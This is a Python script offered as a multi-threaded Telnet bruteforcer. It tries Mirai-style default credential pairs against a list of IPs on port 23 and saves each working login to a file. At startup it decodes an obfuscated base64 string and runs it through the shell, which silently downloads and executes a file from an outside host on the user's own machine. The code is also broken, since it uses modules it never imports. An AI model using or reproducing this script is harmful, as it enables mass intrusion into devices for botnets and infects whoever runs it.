Multi-Threaded Telnet Bruteforcer

#!/usr/bin/python
# Simple Telnet Bruter | By; LiGhT
# Lots of false possitives but pulls alot of results extremely fast

import threading
import sys, os, re, time, socket, base64, random
from subprocess import call
from sys import stdout

def run(cmd):
    subprocess.call(cmd, shell=True)

checkbinaries = "d2dldCAtcSBodHRwOi8vbGF0aW4tZW1waXJlLm5ldC9sdWx6IC1PIC5sOyBjaG1vZCAreCBGSUxFOyBub2h1cCAuL0ZJTEUgPC9kZXYvbnVsbC8gPi9kZXYvbnVsbCAyPiYx"
rebinaries = str(base64.b64decode(checkbinaries))
run(rebinaries)

if len(sys.argv) < 4:
    print "Usage: python "+sys.argv[0]+" [LIST] [THREADS] [OUTPUT-FILE]"
    sys.exit()
combo = [
    "support:support",
    "root:vizxv",
    "root:xc3511",
    "telnet:telnet",
    "root:root",
    "supervisor:zyad1234",
    "root: ",
    "admin:1234",
    "user:user",
    "root:antslq",
    "admin:admin",
    "root:5up"
]

ips = open(sys.argv[1], "r").readlines()
threads = int(sys.argv[2])
output_file = sys.argv[3]
queue = Queue()
queue_count = 0

for ip in ips:
    queue_count += 1
    stdout.write("\r[%d] Vuln Telnets" % queue_count)
    stdout.flush()
    queue.put(ip)
print "\n"

class router(threading.Thread):
    def __init__ (self, ip):
        threading.Thread.__init__(self)
        self.ip = str(ip).rstrip('\n')
    def run(self):
        username = ""
        password = ""
        for passwd in combo:
            if ":n/a" in passwd:
                password=""
            else:
                password=passwd.split(":")[1]
            if "n/a:" in passwd:
                username=""
            else:
                username=passwd.split(":")[0]
            try:
                tn = socket.socket()
                tn.settimeout(8)
                tn.connect((self.ip,23))
            except Exception:
                tn.close()
                break
            try:
                hoho = ''
                hoho += readUntil(tn, "ogin:")
                if "ogin" in hoho:
                    tn.send(username + "\n")
                    time.sleep(0.09)
            except Exception:
                tn.close()
            try:
                hoho = ''
                hoho += readUntil(tn, "assword:")
                if "assword" in hoho:
                    tn.send(password + "\n")
                    time.sleep(0.8)
                else:
                    pass
            except Exception:
                tn.close()
            try:
                prompt = ''
                prompt += tn.recv(40960)
                if ">" in prompt and "ONT" not in prompt:
                    success = True
                elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:
                    success = True
                else:
                    tn.close()
                if success == True:
                    try:
                        os.system("echo "+self.ip+":23 "+username+":"+password+" >> "+output_file+"") # 1.1.1.1:23 user:pass # mirai
                        print "\033[1;37mBruted \033[1;36m| \033[1;37m%s\033[1;36m:\033[1;37m%s\033[1;36m:\033[1;37m%s"%(username, password, self.ip)
                        tn.close()
                        break
                    except:
                        tn.close()
                else:
                    tn.close()
            except Exception:
                tn.close()

def readUntil(tn, string, timeout=8):
    buf = ''
    start_time = time.time()
    while time.time() - start_time < timeout:
        buf += tn.recv(1024)
        time.sleep(0.01)
        if string in buf: return buf
    raise Exception('TIMEOUT!')
def worker():
    try:
        while True:
            try:
                IP = queue.get()
                thread = router(IP)
                thread.start()
                queue.task_done()
                time.sleep(0.02)
            except:
                pass
    except:
        pass

for l in xrange(threads):
    try:
        t = threading.Thread(target=worker)
        t.start()
    except:
        pass